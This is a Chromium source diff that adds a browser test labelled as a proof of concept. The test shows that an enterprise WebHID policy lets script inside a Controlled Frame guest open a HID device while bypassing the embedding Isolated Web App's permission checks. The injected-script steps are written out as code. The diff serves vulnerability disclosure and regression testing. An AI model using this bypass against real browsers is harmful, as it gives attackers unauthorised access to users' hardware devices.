diff --git a/chrome/browser/controlled_frame/controlled_frame_permission_request_browsertest.cc b/chrome/browser/controlled_frame/controlled_frame_permission_request_browsertest.cc index 226be48f823b0..2f8e82de25459 100644 --- a/chrome/browser/controlled_frame/controlled_frame_permission_request_browsertest.cc +++ b/chrome/browser/controlled_frame/controlled_frame_permission_request_browsertest.cc @@ -9,10 +9,15 @@ #include "base/test/bind.h" #include "base/test/scoped_feature_list.h" #include "base/test/test_future.h" +#include "chrome/browser/browser_process.h" #include "chrome/browser/chrome_content_browser_client.h" #include "chrome/browser/controlled_frame/controlled_frame_permission_request_test_base.h" #include "chrome/browser/hid/chrome_hid_delegate.h" +#include "chrome/browser/hid/hid_chooser_context.h" #include "chrome/browser/hid/hid_chooser_context_factory.h" +#include "chrome/browser/web_applications/isolated_web_apps/test/isolated_web_app_builder.h" +#include "chrome/common/pref_names.h" +#include "components/prefs/pref_service.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/hid/hid_chooser_controller.h" @@ -456,4 +461,150 @@ INSTANTIATE_TEST_SUITE_P(/*no prefix*/ return info.param.name; }); +// ============================================================================= +// POC: HID enterprise-policy check bypasses WebViewChooserContext isolation. +// +// HidChooserContext::HasDevicePermission checks the WebHidAllowDevicesForUrls +// enterprise policy and early-returns true BEFORE routing through +// WebViewChooserContext when the caller is a guest. This +// lets a malicious IWA embed and +// call navigator.hid.getDevices()/device.open() from injected script to obtain +// live HID I/O to a device the admin intended only for top-level navigation to +// that origin. The embedder's permissionrequest event is never fired and the +// IWA itself holds no HID grant. +// ============================================================================= +class ControlledFrameWebHidPolicyBypassTest : public ControlledFrameTestBase { + public: + void SetUpOnMainThread() override { + embedded_https_test_server().ServeFilesFromSourceDirectory( + GetChromeTestDataDir().AppendASCII("web_apps/simple_isolated_app")); + ControlledFrameTestBase::SetUpOnMainThread(); + + // Route the real ChromeHidDelegate / HidChooserContext through a fake + // device::mojom::HidManager so a HID device is enumerable. This is the + // only test-only substitution; the permission-decision code path under + // test (ChromeHidDelegate::HasDevicePermission -> + // HidChooserContext::HasDevicePermission) is fully production code. + mojo::PendingRemote pending_remote; + hid_manager_.Bind(pending_remote.InitWithNewPipeAndPassReceiver()); + base::test::TestFuture> + devices_future; + auto* chooser_context = HidChooserContextFactory::GetForProfile(profile()); + chooser_context->SetHidManagerForTesting(std::move(pending_remote), + devices_future.GetCallback()); + ASSERT_TRUE(devices_future.Wait()); + + fake_device_ = hid_manager_.CreateAndAddDevice( + "phys-id-1", /*vendor_id=*/0x1234, /*product_id=*/0x5678, + "Corp HID Device", "SN123", device::mojom::HidBusType::kHIDBusTypeUSB); + } + + protected: + HidChooserContext* chooser_context() { + return HidChooserContextFactory::GetForProfile(profile()); + } + + device::mojom::HidDeviceInfoPtr fake_device_; + + private: + base::test::ScopedFeatureList scoped_feature_list_{ + extensions_features::kEnableWebHidInWebView}; + device::FakeHidManager hid_manager_; +}; + +IN_PROC_BROWSER_TEST_F(ControlledFrameWebHidPolicyBypassTest, + PolicyGrantBypassesEmbedderForGuest) { + // 1. Malicious IWA hosts a navigated to the enterprise + // target origin. The IWA manifest does NOT request the "hid" permissions + // policy — the IWA itself has no WebHID capability. + auto [app_frame, controlled_frame] = + InstallAndOpenIwaThenCreateControlledFrame( + /*controlled_frame_host_name=*/"internal.corp", + /*controlled_frame_src_relative_url=*/"/index.html"); + ASSERT_TRUE(app_frame); + ASSERT_TRUE(controlled_frame); + + const url::Origin guest_origin = controlled_frame->GetLastCommittedOrigin(); + const url::Origin embedder_origin = app_frame->GetLastCommittedOrigin(); + ASSERT_NE(guest_origin, embedder_origin); + + // 2. Enterprise admin policy: WebHidAllowAllDevicesForUrls grants every HID + // device to https://internal.corp:PORT — and to nothing else. + { + base::ListValue policy_urls; + policy_urls.Append(guest_origin.GetURL().spec()); + g_browser_process->local_state()->SetList( + prefs::kManagedWebHidAllowAllDevicesForUrls, std::move(policy_urls)); + } + + // 3. The IWA registers a permissionrequest handler that DENIES every HID + // request and counts invocations. If the WebView isolation worked, the + // guest's getDevices()/open() would either return nothing (no grant in + // WebViewChooserContext) or be gated on this handler. + ASSERT_EQ("LISTENER_INSTALLED", content::EvalJs(app_frame, R"( + (function() { + const cf = document.getElementsByTagName('controlledframe')[0]; + window.hidPermissionEventCount = 0; + cf.addEventListener('permissionrequest', (e) => { + window.hidPermissionEventCount++; + if (e.permission === 'hid') { + e.request.deny(); + } + }); + return 'LISTENER_INSTALLED'; + })(); + )")); + + // 4. Attacker-controlled script runs INSIDE the guest (in production this + // would be injected via controlledframe.executeScript). It never calls + // requestDevice(); it goes straight to getDevices()+open(). + const std::string result = + content::EvalJs(controlled_frame, R"( + (async function() { + const devices = await navigator.hid.getDevices(); + if (devices.length === 0) { + return 'NO_DEVICES'; + } + const d = devices[0]; + try { + await d.open(); + } catch (e) { + return 'GOT_DEVICE_OPEN_FAILED:' + e.message; + } + return 'OPENED:vid=' + d.vendorId.toString(16) + + ',pid=' + d.productId.toString(16) + + ',name=' + d.productName + + ',opened=' + d.opened; + })(); + )") + .ExtractString(); + + LOG(ERROR) << "[POC] Guest origin (policy target) : " << guest_origin; + LOG(ERROR) << "[POC] Embedder origin (IWA) : " << embedder_origin; + LOG(ERROR) << "[POC] Guest navigator.hid result : " << result; + + // ========================================================================== + // BUG: The guest enumerated AND opened the policy-granted HID device even + // though it is running inside a whose embedder (a) holds + // no HID grant and (b) would deny any permissionrequest. The enterprise + // policy short-circuit at hid_chooser_context.cc:484-488 fires before the + // embedding_origin_of_web_view routing at line 493. + // ========================================================================== + EXPECT_EQ("OPENED:vid=1234,pid=5678,name=Corp HID Device,opened=true", + result); + + // The embedder's permissionrequest('hid') was never dispatched. + EXPECT_EQ(0, content::EvalJs(app_frame, "window.hidPermissionEventCount")); + + // Direct check on the production permission surface: the IWA embedder origin + // has no permission for this device, yet the guest-inside-webview path + // returns true purely because of the policy keyed on the guest origin. + EXPECT_FALSE(chooser_context()->HasDevicePermission( + embedder_origin, *fake_device_, + /*embedding_origin_of_web_view=*/std::nullopt)); + EXPECT_TRUE(chooser_context()->HasDevicePermission( + guest_origin, *fake_device_, + /*embedding_origin_of_web_view=*/embedder_origin)); +} + } // namespace controlled_frame